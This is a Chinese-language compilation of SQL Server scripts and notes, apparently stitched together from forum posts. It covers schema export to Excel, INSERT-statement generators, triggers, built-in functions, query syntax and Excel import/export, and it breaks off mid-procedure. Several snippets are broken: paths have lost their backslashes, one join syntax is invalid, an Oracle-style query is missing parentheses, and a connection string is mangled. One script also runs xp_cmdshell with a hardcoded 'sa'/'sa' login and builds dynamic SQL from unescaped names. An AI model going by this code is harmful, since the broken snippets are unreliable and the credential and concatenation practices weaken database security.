列出SQL SERVER 所有表、字段定义,类型,长度,一个值等信息


并导出到Excel 中


-- ======================================================


-- Export all user tables definition and one sample value


-- jan-13-2003,Dr.Zhang


-- ======================================================


在查询分析器里运行:


SET ANSI_NULLS OFF

GO

SET NOCOUNT ON

GO


 


SET LANGUAGE 'Simplified Chinese'

go

DECLARE @tbl nvarchar(200),@fld nvarchar(200),@sql nvarchar(4000),@maxlen int,@sample nvarchar(40)


 


SELECT d.name TableName,a.name FieldName,b.name TypeName,a.length Length,a.isnullable IS_NULL INTO #t

FROM  syscolumns  a,  systypes b,sysobjects d 

WHERE  a.xtype=b.xusertype  and  a.id=d.id  and  d.xtype='U'


 


DECLARE read_cursor CURSOR

FOR SELECT TableName,FieldName FROM #t


 


SELECT TOP 1 '_TableName                     ' TableName,

            'FieldName                      ' FieldName,'TypeName             ' TypeName,

            'Length' Length,'IS_NULL' IS_NULL,

            'MaxLenUsed' AS MaxLenUsed,'Sample Value          ' Sample,

             'Comment   ' Comment INTO #tc FROM #t


 


OPEN read_cursor


 


FETCH NEXT FROM read_cursor INTO @tbl,@fld

WHILE (@@fetch_status <> -1)  --- failes

BEGIN

       IF (@@fetch_status <> -2) -- Missing

       BEGIN

              SET @sql=N'SET @maxlen=(SELECT max(len(cast('+@fld+' as nvarchar))) FROM '+@tbl+')'

              --PRINT @sql

              EXEC SP_EXECUTESQL @sql,N'@maxlen int OUTPUT',@maxlen OUTPUT

              --print @maxlen

              SET @sql=N'SET @sample=(SELECT TOP 1 cast('+@fld+' as nvarchar) FROM '+@tbl+' WHERE len(cast('+@fld+' as nvarchar))='+convert(nvarchar(5),@maxlen)+')'

              EXEC SP_EXECUTESQL @sql,N'@sample varchar(30) OUTPUT',@sample OUTPUT

              --for quickly  

              --SET @sql=N'SET @sample=convert(varchar(20),(SELECT TOP 1 '+@fld+' FROM '+

                     --@tbl+' order by 1 desc ))' 

              PRINT @sql

              print @sample

              print @tbl

              EXEC SP_EXECUTESQL @sql,N'@sample nvarchar(30) OUTPUT',@sample OUTPUT

              INSERT INTO #tc SELECT *,ltrim(ISNULL(@maxlen,0)) as MaxLenUsed,

                     convert(nchar(20),ltrim(ISNULL(@sample,' '))) as Sample,' ' Comment FROM #t where TableName=@tbl and FieldName=@fld

       END

       FETCH NEXT FROM read_cursor INTO @tbl,@fld

END


 


CLOSE read_cursor

DEALLOCATE read_cursor

GO


 


SET ANSI_NULLS ON

GO

SET NOCOUNT OFF

GO

select count(*)  from #t

DROP TABLE #t

GO


 


select count(*)-1  from #tc


 


select * into ##tx from #tc order by tablename

DROP TABLE #tc


 


--select * from ##tx


 


declare @db nvarchar(60),@sql nvarchar(3000)

set @db=db_name()

--请修改用户名和口令 导出到Excel 中

set @sql='exec master.dbo.xp_cmdshell ''bcp ..dbo.##tx out c:\'+@db+'_exp.xls -w -C936 -Usa -Psa '''

print @sql

exec(@sql)

GO

DROP TABLE ##tx

GO


 


 

 


-- ======================================================


--根据表中数据生成insert语句的存储过程


--建立存储过程,执行 spGenInsertSQL 表名

--感谢playyuer


-- ======================================================


CREATE   proc spGenInsertSQL (@tablename varchar(256))


 


as

begin

  declare @sql varchar(8000)

  declare @sqlValues varchar(8000)

  set @sql =' ('

  set @sqlValues = 'values (''+'

  select @sqlValues = @sqlValues + cols + ' + '','' + ' ,@sql = @sql + '[' + name + '],'

    from

        (select case

                  when xtype in (48,52,56,59,60,62,104,106,108,122,127)                               

                       then 'case when '+ name +' is null then ''NULL'' else ' + 'cast('+ name + ' as varchar)'+' end'

                  when xtype in (58,61)

                       then 'case when '+ name +' is null then ''NULL'' else '+''''''''' + ' + 'cast('+ name +' as varchar)'+ '+'''''''''+' end'

                 when xtype in (167)

                       then 'case when '+ name +' is null then ''NULL'' else '+''''''''' + ' + 'replace('+ name+','''''''','''''''''''')' + '+'''''''''+' end'

                  when xtype in (231)

                       then 'case when '+ name +' is null then ''NULL'' else '+'''N'''''' + ' + 'replace('+ name+','''''''','''''''''''')' + '+'''''''''+' end'

                  when xtype in (175)

                       then 'case when '+ name +' is null then ''NULL'' else '+''''''''' + ' + 'cast(replace('+ name+','''''''','''''''''''') as Char(' + cast(length as varchar)  + '))+'''''''''+' end'

                  when xtype in (239)

                       then 'case when '+ name +' is null then ''NULL'' else '+'''N'''''' + ' + 'cast(replace('+ name+','''''''','''''''''''') as Char(' + cast(length as varchar)  + '))+'''''''''+' end'

                  else '''NULL'''

                end as Cols,name

           from syscolumns 

          where id = object_id(@tablename)

        ) T

  set @sql ='select ''INSERT INTO ['+ @tablename + ']' + left(@sql,len(@sql)-1)+') ' + left(@sqlValues,len(@sqlValues)-4) + ')'' from '+@tablename

  --print @sql

  exec (@sql)

end


 


GO


 

 


 


-- ======================================================


--根据表中数据生成insert语句的存储过程


--建立存储过程,执行 proc_insert 表名

--感谢Sky_blue


-- ======================================================

 

 


CREATE proc proc_insert (@tablename varchar(256))

as

begin

       set nocount on

       declare @sqlstr varchar(4000)

       declare @sqlstr1 varchar(4000)

       declare @sqlstr2 varchar(4000)

       select @sqlstr='select ''insert '+@tablename

       select @sqlstr1=''

       select @sqlstr2=' ('

       select @sqlstr1= ' values ( ''+'

       select @sqlstr1=@sqlstr1+col+'+'',''+' ,@sqlstr2=@sqlstr2+name +',' from (select case

--     when a.xtype =173 then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar('+convert(varchar(4),a.length*2+2)+'),'+a.name +')'+' end'

       when a.xtype =104 then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(1),'+a.name +')'+' end'

       when a.xtype =175 then 'case when '+a.name+' is null then ''NULL'' else '+'''''''''+'+'replace('+a.name+','''''''','''''''''''')' + '+'''''''''+' end'

       when a.xtype =61  then 'case when '+a.name+' is null then ''NULL'' else '+'''''''''+'+'convert(varchar(23),'+a.name +',121)'+ '+'''''''''+' end'

       when a.xtype =106 then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar('+convert(varchar(4),a.xprec+2)+'),'+a.name +')'+' end'

       when a.xtype =62  then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(23),'+a.name +',2)'+' end'

       when a.xtype =56  then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(11),'+a.name +')'+' end'

       when a.xtype =60  then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(22),'+a.name +')'+' end'

       when a.xtype =239 then 'case when '+a.name+' is null then ''NULL'' else '+'''''''''+'+'replace('+a.name+','''''''','''''''''''')' + '+'''''''''+' end'

       when a.xtype =108 then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar('+convert(varchar(4),a.xprec+2)+'),'+a.name +')'+' end'

       when a.xtype =231 then 'case when '+a.name+' is null then ''NULL'' else '+'''''''''+'+'replace('+a.name+','''''''','''''''''''')' + '+'''''''''+' end'

       when a.xtype =59  then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(23),'+a.name +',2)'+' end'

       when a.xtype =58  then 'case when '+a.name+' is null then ''NULL'' else '+'''''''''+'+'convert(varchar(23),'+a.name +',121)'+ '+'''''''''+' end'

       when a.xtype =52  then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(12),'+a.name +')'+' end'

       when a.xtype =122 then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(22),'+a.name +')'+' end'

       when a.xtype =48  then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar(6),'+a.name +')'+' end'

--     when a.xtype =165 then 'case when '+a.name+' is null then ''NULL'' else '+'convert(varchar('+convert(varchar(4),a.length*2+2)+'),'+a.name +')'+' end'

       when a.xtype =167 then 'case when '+a.name+' is null then ''NULL'' else '+'''''''''+'+'replace('+a.name+','''''''','''''''''''')' + '+'''''''''+' end'

       else '''NULL'''

       end as col,a.colid,a.name

       from syscolumns a where a.id = object_id(@tablename) and a.xtype <>189 and a.xtype <>34 and a.xtype <>35 and  a.xtype <>36

       )t order by colid

      

       select @sqlstr=@sqlstr+left(@sqlstr2,len(@sqlstr2)-1)+') '+left(@sqlstr1,len(@sqlstr1)-3)+')'' from '+@tablename

--  print @sqlstr

       exec( @sqlstr)

       set nocount off

end

GO


一:邹建
1.触发器的内容和存储过程一样,都是将一些数据处理命令放在一齐执行
  不同的是:存储过程中调用它时才执行,触发器在对表中的数据进行操作时被自动调用
2.在何时(那种操作时)会执行触发器
这个由for语句决定.
for insert 代表插入数据时
for update 代表更新数据时
for delete 代表删除数据时
insert update delete可以组合.例如:for insert,update 表示新增或更新数据时

3.得到操作影响的数据,由inserted和deleted这两个逻辑表得到,结果与原表完全一样
inserted  新增的数据,或更新操作时,更新后的数据
deleted   删除的数据,或更新操作时,更新前的数据

更多的参考联机帮助.

举个简单的例子:

--创建表
create table tb(id int,name varchar(20))

--为这个表创建触发器,作用是检查新增数据时,名称是否重复,如果重复,取消插入:
create trigger t_chk on tb
for insert
as
if exists(select 1 from tb where name in(select name from inserted))
  rollback tran
go

--插入数据
insert into tb values(1,'张三')  --可以插入成功
insert into tb values(2,'张三')  --因为名称重复,插入会被触发器取消

--显示结果
select * from tb

二:大力
a   :
create table 表 (a int)
go
insert 表 values (1)
go
CREATE TRIGGER 名 ON 表
FOR UPDATE
AS
select a 更新前被删除的数据 from deleted
select a 更新后被插入的数据 from inserted
go
------------测试:
update 表 set a=3

b:
create table 表 (a int,b int)
go
insert 表 values (1,2)
go
CREATE TRIGGER 名 ON 表
FOR UPDATE
AS
if update(a)
begin
  select a 更新前a被删除的数据 from deleted
  select a 更新后a被插入的数据 from inserted
end
if update(b)
begin
  select a 更新前b被删除的数据 from deleted
  select a 更新后b被插入的数据 from inserted
end
go
------------测试:
update 表 set a=3
-----------------
update 表 set b=4

c:
下面同步两个不同数据库的两个表:

CREATE TRIGGER 名1 ON dbo.tabMain
FOR INSERT
AS
insert db2..tabSlave select * from inserted
go

CREATE TRIGGER 名2 ON dbo.tabMain
FOR update
AS
update db2..tabSlave set 列=aa.列 from inserted aa where aa.编号=db2..tabSlave.编号
go

CREATE TRIGGER 名3 ON dbo.tabMain
FOR delete
AS
delete db2..tabSlave where 编号 in (select 编号 from deleted)
go


三: happydreamer()
稍微补充一点

触发器影响会@@IDENTITY 的值

example
我想编个触发器,其功能如下:
当我往一个表里插入记录后,触发器立刻将新记录的一个字段sj(时间类型,我叫它为sj)与上一记录的sj求出其时间差并将上一记录的long值修改为该差值。
表的结构如下:
waste1
--------------------------------------
 id int 4
 sj datetime 8
 long int 8
--------------------------------------
比如现在有记录如下:
id sj               long
1 2002-12-12 12:00    0
假如我插入一条记录
2   2002-12-12 13:00
则触发器就将第二条记录的sj-第一条记录的sj,然后起差值作为第一条记录的 long值.
最总记录如下:
id sj                long
1 2002-12-12 12:00    1
2 2002-12-12 13:00    0

error answer
create trigger a_t on table
for insert
as

update table
set long=datediff(hh,b.sj,a.sj)
from
inserted  a ,
(select  * from table  where id=@@identity-1)  b
where aaa.id=b.id

“where id=@@identity-1”是不允许的,那是 3GL。
insert一组数据时,系统就会出错,怎么当作合格的产品?
“系统就会出错”---> “系统计算的数据就会混乱”

--right answer
create trigger a_t on aaa
for insert
as

update table
set long=datediff(hh,b.sj,a.sj)
from
inserted a ,
table  b
where b.id=a.id-1

附:递归调用触发器

我有tab1 字段 a 和 b
tab2 字段 a 和 b
我希望tab1更新a字段时,用触发器把tab2的a字段也相应的更新
tab2更新b字段时,用触发器把tab1的b字段也相应的更新。
create trigger tri_1 on table1

for update

as

update table2 set b=a.a from inserted a

 

create trigger tri_2 on table2

for update

as

update table1 set a=a.b from inserted a

我觉得这样
在我更新tab1的时候触发了触发器ta1,ta1使得 tab2的a字段更新了。
由于tab2的a字段更新了又触发了触发器ta2,ta2使得 tab1的b字段更新,
之后ta1又被触发了,然后又到ta2………………
这样就死循环了!
-----------------------------------------------------------------------解决方法:
嵌套触发器。
企业管理器->服务器->属性->服务器设置->允许激发会激发其它触发器(嵌套触发器)的触发器
勾上即可以嵌套,否则不会嵌套。


1.字符串函数
长度与分析用
datalength(Char_expr) 返回字符串包含字符数,但不包含后面的空格
substring(expression,start,length) 不多说了,取子串
right(char_expr,int_expr) 返回字符串右边int_expr个字符
字符操作类
upper(char_expr) 转为大写
lower(char_expr) 转为小写
space(int_expr) 生成int_expr个空格
replicate(char_expr,int_expr)复制字符串int_expr次
reverse(char_expr) 反转字符串
stuff(char_expr1,start,length,char_expr2) 将字符串char_expr1中的从 start开始的length个字符用char_expr2代替
ltrim(char_expr) rtrim(char_expr) 取掉空格
ascii(char) char(ascii) 两函数对应,取ascii码,根据ascii吗取字符
字符串查找
charindex(char_expr,expression) 返回char_expr的起始位置
patindex("%pattern%",expression) 返回指定模式的起始位置,否则为0
2.数学函数
abs(numeric_expr) 求绝对值
ceiling(numeric_expr) 取大于等于指定值的最小整数
exp(float_expr) 取指数 floor(numeric_expr) 小于等于指定值得最大整数
pi() 3.1415926.........
power(numeric_expr,power) 返回power次方
rand([int_expr]) 随机数产生器
round(numeric_expr,int_expr) 安int_expr规定的精度四舍五入
sign(int_expr) 根据正数,0,负数,,返回+1,0,-1
sqrt(float_expr) 平方根
3.日期函数
getdate() 返回日期
datename(datepart,date_expr) 返回名称如 June
datepart(datepart,date_expr) 取日期一部份
datediff(datepart,date_expr1.dateexpr2) 日期差
dateadd(datepart,number,date_expr) 返回日期加上 number
上述函数中datepart的 写法 取值和意义
yy 1753-9999 年份
qq 1-4 刻
mm 1-12 月
dy 1-366 日
dd 1-31 日
wk 1-54 周
dw 1-7 周几
hh 0-23 小时
mi 0-59 分钟
ss 0-59 秒
ms 0-999 毫秒
日期转换 convert()
4.系统函数
suser_name() 用户登录名
user_name() 用户在数据库中的名字 user 用户在数据库中的名字
show_role() 对当前用户起作用的规则
db_name() 数据库名
object_name(obj_id) 数据库对象名
col_name(obj_id,col_id) 列名
col_length(objname,colname) 列长度
valid_name(char_expr) 是否是有效标识符

一、简单查询
   简单的Transact-SQL查询只包括选择列表、FROM子句和WHERE子句。
它们分别说明所查询列、查询的
表或视图、以及搜索条件等。
例如,下面的语句查询testtable表中姓名为“张三”的nickname字段和email字段。
SELECT nickname,email
FROM testtable WHERE name='张三'

(一)选择列表
  选择列表(select_list)指出所查询列,它可以是一组列名列表、星号、表达式、变量(包括局部变 量和全局变量)等构成。

   1、选择所有列 例如,下面语句显示testtable表中所有列的数据: SELECT * FROM testtable

   2、选择部分列并指定它们的显示次序 查询结果集合中数据的排列顺序与选择列表中所指定的列名排列顺序相同。
例如: SELECT nickname,email FROM testtable

   3、更改列标题 在选择列表中,可重新指定列标题。定义格式为: 列标题=列名 列名 列标题 如果指定的列标题不是标准的标识符格式时,应使用引号定界符。
例如,下列语句使用汉字显示列 标题: SELECT 昵称=nickname,电子邮件=email FROM testtable

   4、删除重复行 SELECT语句中使用ALL或DISTINCT选项来显示表中符合条件的所有行或删除其中重复的数据行,默认 为ALL。使用DISTINCT选项时,对于所有重复的数据行在SELECT返回的结果集合中只保留一行。

   5、限制返回的行数 使用TOP n [PERCENT]选项限制返回的数据行数,TOP n说明返回n行,而TOP n PERCENT时,说明n是 表示一百分数,指定返回的行数等于总行数的百分之几。
例如: SELECT TOP 2 * FROM testtable SELECT TOP 20 PERCENT * FROM testtable
(二)FROM子句
  FROM子句指定SELECT语句查询及与查询相关的表或视图。在FROM子句中最多可指定256个表或视图, 它们之间用逗号分隔。 在FROM子句同时指定多个表或视图时,如果选择列表中存在同名列,这时应使用对象名限定这些列 所属的表或视图。
例如在usertable和citytable表中同时存在cityid列,在查询两个表中的cityid时应使用下面语句格式加以限定:

 SELECT username,citytable.cityid
 FROM usertable,citytable
 WHERE usertable.cityid=citytable.cityid

在FROM子句中可用以下两种格式为表或视图指定别名: 表名 as 别名 表名 别名
例如上面语句可用表的别名格式表示为:

SELECT username,b.cityid
FROM usertable a,citytable b
WHERE a.cityid=b.cityid

SELECT不仅能从表或视图中检索数据,它还能够从其它查询语句所返回的结果集合中查询数据。
例如:
  SELECT a.au_fname+a.au_lname
 FROM authors a,titleauthor ta (SELECT title_id,title FROM titles WHERE ytd_sales>10000 ) AS t
 WHERE a.au_id=ta.au_id AND ta.title_id=t.title_id
 此例中,将SELECT返回的结果集合给予一别名t,然后再从中检索数据。

(三)使用WHERE子句设置查询条件
  WHERE子句设置查询条件,过滤掉不需要的数据行。
例如下面语句查询年龄大于20的数据:
  SELECT *
  FROM usertable
   WHERE age>20

  WHERE子句可包括各种条件运算符:
  比较运算符(大小比较):>、>=、=、<、<=、<>、!>、!<
  范围运算符(表达式值是否在指定的范围):BETWEEN…AND… NOT BETWEEN…AND…
  列表运算符(判断表达式是否为列表中的指定项):IN (项1,项2……) NOT IN (项1,项2……)
  模式匹配符(判断值是否与指定的字符通配格式相符):LIKE、NOT LIKE
  空值判断符(判断表达式是否为空):IS NULL、NOT IS NULL
  逻辑运算符(用于多条件的逻辑连接):NOT、AND、OR

1、范围运算符例:age BETWEEN 10 AND 30相当于age>=10 AND age<=30
2、列表运算符例:country IN ('Germany','China')
3、模式匹配符例:常用于模糊查找,它判断列值是否与指定的字符串格式相匹配。
 可用于char、 varchar、text、ntext、datetime和smalldatetime等类型查询。
 可使用以下通配字符: 百分号%:可匹配任意类型和长度的字符,如果是中文,请使用两个百分号即%%。 下划线_:匹配单个任意字符,它常用来限制表达式的字符长度。 方括号[]:指定一个字符、字符串或范围,要求所匹配对象为它们中的任一个。 [^]:其取值也[] 相同,但它要求所匹配对象为指定字符以外的任一个字符。
  例如: 限制以Publishing结尾,使用LIKE '%Publishing' 限制以A开头:LIKE '[A]%' 限制以A开头外:LIKE '[^A]%' 4、空值判断符例WHERE age IS NULL 5、逻辑运算符:优先级为NOT、AND、OR

(四)查询结果排序
  使用ORDER BY子句对查询返回的结果按一列或多列排序。
 ORDER BY子句的语法格式为: ORDER BY {column_name [ASC|DESC]} [,…n]
 其中ASC表示升序,为默认值,DESC为降序。
 ORDER BY不能按ntext、text和image数据类型进行排序。
 例如: SELECT * FROM usertable ORDER BY age desc,userid ASC 另外,可以根据表达式进行排序。

二、联合查询
  UNION运算符可以将两个或两个以上上SELECT语句的查询结果集合合并成一个结果集合显示,即执行联 合查询。UNION的语法格式为: select_statement UNION [ALL] selectstatement [UNION [ALL] selectstatement][…n]
其中selectstatement为待联合的SELECT查询语句。 ALL选项表示将所有行合并到结果集合中。不指定该项时,被联合查询结果集合中的重复行将只保留一行。
  联合查询时,查询结果的列标题为第一个查询语句的列标题。因此,要定义列标题必须在第一个查询语句中定义。要对联合查询结果排序时,也必须使用第一查询语句中的列名、列标题或者列序号。
  在使用UNION 运算符时,应保证每个联合查询语句的选择列表中有相同数量的表达式,并且每个查询选 择表达式应具有相同的数据类型,或是可以自动将它们转换为相同的数据类型。在自动转换时,对于数值类 型,系统将低精度的数据类型转换为高精度的数据类型。 在包括多个查询的UNION语句中,其执行顺序是自左至右,使用括号可以改变这一执行顺序。
例如: 查询1 UNION (查询2 UNION 查询3)

三、连接查询
  通过连接运算符可以实现多个表查询。连接是关系数据库模型的主要特点,也是它区别于其它类型 数据库管理系统的一个标志。
  在关系数据库管理系统中,表建立时各数据之间的关系不必确定,常把一个实体的所有信息存放在 一个表中。当检索数据时,通过连接操作查询出存放在多个表中的不同实体的信息。连接操作给用户带 来很大的灵活性,他们可以在任何时候增加新的数据类型。为不同实体创建新的表,尔后通过连接进行查询。
  连接可以在SELECT 语句的FROM子句或WHERE子句中建立,似是而非在FROM子句中指出连接时有助于 将连接操作与WHERE子句中的搜索条件区分开来。所以,在Transact-SQL中推荐使用这种方法。
   SQL-92标准所定义的FROM子句的连接语法格式为:
     FROM join_table join_type join_table
      [ON (join_condition)]
  其中join_table指出参与连接操作的表名,连接可以对同一个表操作,也可以对多表操作,对同一 个表操作的连接又称做自连接。
  join_type 指出连接类型,可分为三种:内连接、外连接和交叉连接。内连接(INNER JOIN)使用比 较运算符进行表间某(些)列数据的比较操作,并列出这些表中与连接条件相匹配的数据行。根据所使用 的比较方式不同,内连接又分为等值连接、自然连接和不等连接三种。
   外连接分为左外连接(LEFT OUTER JOIN或LEFT JOIN)、右外连接(RIGHT OUTER JOIN或RIGHT JOIN) 和全外连接(FULL OUTER JOIN或FULL JOIN)三种。与内连接不同的是,外连接不只列出与连接条件相匹 配的行,而是列出左表(左外连接时)、右表(右外连接时)或两个表(全外连接时)中所有符合搜索条件的数据行。
   交叉连接(CROSS JOIN)没有WHERE 子句,它返回连接表中所有数据行的笛卡尔积,其结果集合中的 数据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。
   连接操作中的ON (join_condition) 子句指出连接条件,它由被连接表中的列和比较运算符、逻辑 运算符等构成。
   无论哪种连接都不能对text、ntext和image数据类型列进行直接连接,但可以对这三种列进行间接 连接。
  例如:
    SELECT p1.pub_id,p2.pub_id,p1.pr_info
       FROM pub_info AS p1 INNER JOIN pub_info AS p2
       ON DATALENGTH(p1.pr_info)=DATALENGTH(p2.pr_info)
  (一) 内连接 内连接查询操作列出与连接条件匹配的数据行,它使用比较运算符比较被连接列的列值。
内连接分 三种:
1、等值连接:在连接条件中使用等于号(=)运算符比较被连接列的列值,其查询结果中列出被连接 表中的所有列,包括其中的重复列。
2、不等连接: 在连接条件使用除等于运算符以外的其它比较运算符比较被连接的列的列值。
这些 运算符包括>、>=、<=、<、!>、!<和<>。
3、自然连接:在连接条件中使用等于(=)运算符比较被连接列的列值,但它使用选择列表指出查询 结果集合中所包括的列,并删除连接表中的重复列。
   例,下面使用等值连接列出authors和publishers表中位于同一城市的作者和出版社:
  SELECT * FROM authors AS a INNER JOIN publishers AS p
     ON a.city=p.city
又如使用自然连接,在选择列表中删除authors 和publishers 表中重复列(city和state):
  SELECT a.*,p.pub_id,p.pub_name,p.country
    FROM authors AS a INNER JOIN publishers AS p
    ON a.city=p.city
(二) 外连接 内连接时,返回查询结果集合中的仅是符合查询条件( WHERE 搜索条件或 HAVING 条件)和连接条件 的行。而采用外连接时,它返回到查询结果集合中的不仅包含符合连接条件的行,而且还包括左表(左外 连接时)、右表(右外连接时)或两个边接表(全外连接)中的所有数据行。
如下面使用左外连接将论坛内容和作者信息连接起来:
   SELECT a.*,b.* FROM luntan LEFT JOIN usertable as b
    ON a.username=b.username
下面使用全外连接将city表中的所有作者以及user表中的所有作者,以及他们所在的城市:
   SELECT a.*,b.* FROM city as a FULL OUTER JOIN user as b
    ON a.username=b.username
(三) 交叉连接 交叉连接不带WHERE 子句,它返回被连接的两个表所有数据行的笛卡尔积,返回到结果集合中的数据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。
例,titles表中有6类图书,而publishers表中有8家出版社,则下列交叉连接检索到的记录数将等 于6*8=48行。
SELECT type,pub_name FROM titles CROSS JOIN publishers
ORDER BY type
说明:复制表(只复制结构,源表名:a 新表名:b)
SQL: select * into b from a where 1<>1

说明:拷贝表(拷贝数据,源表名:a 目标表名:b)

SQL: insert into b(a, b, c) select d,e,f from b;

说明:显示文章、提交人和最后回复时间

SQL: select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b
说明:外连接查询(表名1:a 表名2:b)

SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
说明:日程安排提前五分钟提醒

SQL:  select * from 日程安排 where datediff(’minute’,f开始时间,getdate())>5

说明:两张关联表,删除主表中已经在副表中没有的信息
SQL: 

delete from info where not exists ( select * from infobz where info.infid=infobz.infid  

说明:--
SQL: 


SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE
  FROM TABLE1, 
    (SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE
        FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND
                FROM TABLE2
              WHERE TO_CHAR(UPD_DATE,’YYYY/MM’) = TO_CHAR(SYSDATE, ’YYYY/MM’)) X, 
            (SELECT NUM, UPD_DATE, STOCK_ONHAND
                FROM TABLE2
              WHERE TO_CHAR(UPD_DATE,’YYYY/MM’) = 
                    TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, ’YYYY/MM’) &brvbar;&brvbar; ’/01’,’YYYY/MM/DD’) - 1, ’YYYY/MM’)  Y, 
        WHERE X.NUM = Y.NUM (+)
          AND X.INBOUND_QTY + NVL(Y.STOCK_ONHAND,0) <> X.STOCK_ONHAND  B
WHERE A.NUM = B.NUM


说明:--
SQL: 

select * from studentinfo where not exists(select * from student where studentinfo.id=student.id) and 系名称=’"&strdepartmentname&"’ and 专业名称=’"&strprofessionname&"’ order by 性别,生源地,高考总成绩
说明:
从数据库中去一年的各单位电话费统计(电话费定额贺电化肥清单两个表来源)
SQL:
SELECT a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, ’yyyy’) AS telyear,
      SUM(decode(TO_CHAR(a.telfeedate, ’mm’), ’01’, a.factration)) AS JAN,
      SUM(decode(TO_CHAR(a.telfeedate, ’mm’), ’02’, a.factration)) AS FRI,
      SUM(decode(TO_CHAR(a.telfeedate, ’mm’), ’03’, a.factration)) AS MAR,
      SUM(decode(TO_CHAR(a.telfeedate, ’mm’), ’04’, a.factration)) AS APR,
      SUM(decode(TO_CHAR(a.telfeedate, ’mm’), ’05’, a.factration)) AS MAY,
      SUM(decode(TO_CHAR(a.telfeedate, ’mm’), ’06’, a.factration)) AS JUE,
      SUM(decode(TO_CHAR(a.telfeedate, ’mm’), ’07’, a.factration)) AS JUL,
      SUM(decode(TO_CHAR(a.telfeedate, ’mm’), ’08’, a.factration)) AS AGU,
      SUM(decode(TO_CHAR(a.telfeedate, ’mm’), ’09’, a.factration)) AS SEP,
      SUM(decode(TO_CHAR(a.telfeedate, ’mm’), ’10’, a.factration)) AS OCT,
      SUM(decode(TO_CHAR(a.telfeedate, ’mm’), ’11’, a.factration)) AS NOV,
      SUM(decode(TO_CHAR(a.telfeedate, ’mm’), ’12’, a.factration)) AS DEC
FROM (SELECT a.userper, a.tel, a.standfee, b.telfeedate, b.factration
        FROM TELFEESTAND a, TELFEE b
        WHERE a.tel = b.telfax) a
GROUP BY a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, ’yyyy’)
说明:四表联查问题:

SQL:
Select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c  inner join d on a.a=d.d where .....

说明:得到表中最小的未使用的ID号
SQL:
SELECT (CASE WHEN EXISTS(SELECT * FROM Handle b WHERE b.HandleID = 1) THEN MIN(HandleID) + 1 ELSE 1 END) as HandleID
 FROM  Handle
 WHERE NOT HandleID IN (SELECT a.HandleID - 1 FROM Handle a)
/*===================  导入/导出 Excel 的基本方法 ===================*/
从Excel文件中,导入数据到SQL数据库中,很简单,直接用下面的语句:

/*===================================================================*/
--如果接受数据导入的表已经存在
insert into 表 select * from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'Excel 5.0;HDR=YES;DATABASE=c:test.xls',sheet1$)

--如果导入数据并生成表
select * into 表 from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'Excel 5.0;HDR=YES;DATABASE=c:test.xls',sheet1$)


/*===================================================================*/
--如果从SQL数据库中,导出数据到Excel,如果Excel文件已经存在,而且已经按照要接收的数据创建好表头,就可以简单的用:
insert into OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'Excel 5.0;HDR=YES;DATABASE=c:test.xls',sheet1$)
select * from 表


--如果Excel文件不存在,也可以用BCP来导成类Excel的文件,注意大小写:
--导出表的情况
EXEC master..xp_cmdshell 'bcp 数据库名.dbo.表名 out "c:test.xls" /c -/S"服务器名" /U"用户名" -P"密码"'

--导出查询的情况
EXEC master..xp_cmdshell 'bcp "SELECT au_fname, au_lname FROM pubs..authors ORDER BY au_lname" queryout "c:test.xls" /c -/S"服务器名" /U"用户名" -P"密码"'


/*--说明:
c:test.xls  为导入/导出的Excel文件名.
sheet1$      为Excel文件的工作表名,一般要加上$才能正常使用.
--*/
--上面已经说过,用BCP导出的是类Excel文件,其实质为文本文件,

--要导出真正的Excel文件.就用下面的方法


/*--数据导出EXCEL
 
 导出表中的数据到Excel,包含字段名,文件为真正的Excel文件
 ,如果文件不存在,将自动创建文件
 ,如果表不存在,将自动创建表
 基于通用性考虑,仅支持导出标准数据类型
--邹建 2003.10--*/

/*--调用示例

 p_exporttb @tbname='地区资料',@path='c:',@fname='aa.xls'
--*/
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_exporttb]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_exporttb]
GO

create proc p_exporttb
@tbname sysname,    --要导出的表名
@path nvarchar(1000),   --文件存放目录
@fname nvarchar(250)=''  --文件名,默认为表名
as
declare @err int,@src nvarchar(255),@desc nvarchar(255),@out int
declare @obj int,@constr nvarchar(1000),@sql varchar(8000),@fdlist varchar(8000)

--参数检测
if isnull(@fname,'')='' set @fname=@tbname+'.xls'

--检查文件是否已经存在
if right(@path,1)<>'' set @path=@path+''
create table #tb(a bit,b bit,c bit)
set @sql=@path+@fname
insert into #tb exec master..xp_fileexist @sql

--数据库创建语句
set @sql=@path+@fname
if exists(select 1 from #tb where a=1)
 set @constr='DRIVER={Microsoft Excel Driver (*.xls)};DSN='''';READONLY=FALSE'
       +';CREATE_DB="    +';DATABASE='+@sql+'"'


--连接数据库
exec @err=sp_oacreate 'adodb.connection',@obj out
if @err<>0 goto lberr

exec @err=sp_oamethod @obj,'open',null,@constr
if @err<>0 goto lberr

/*--如果覆盖已经存在的表,就加上下面的语句
--创建之前先删除表/如果存在的话
select @sql='drop table ['+@tbname+']'
exec @err=sp_oamethod @obj,'execute',@out out,@sql
--*/

--创建表的SQL
select @sql='',@fdlist=''
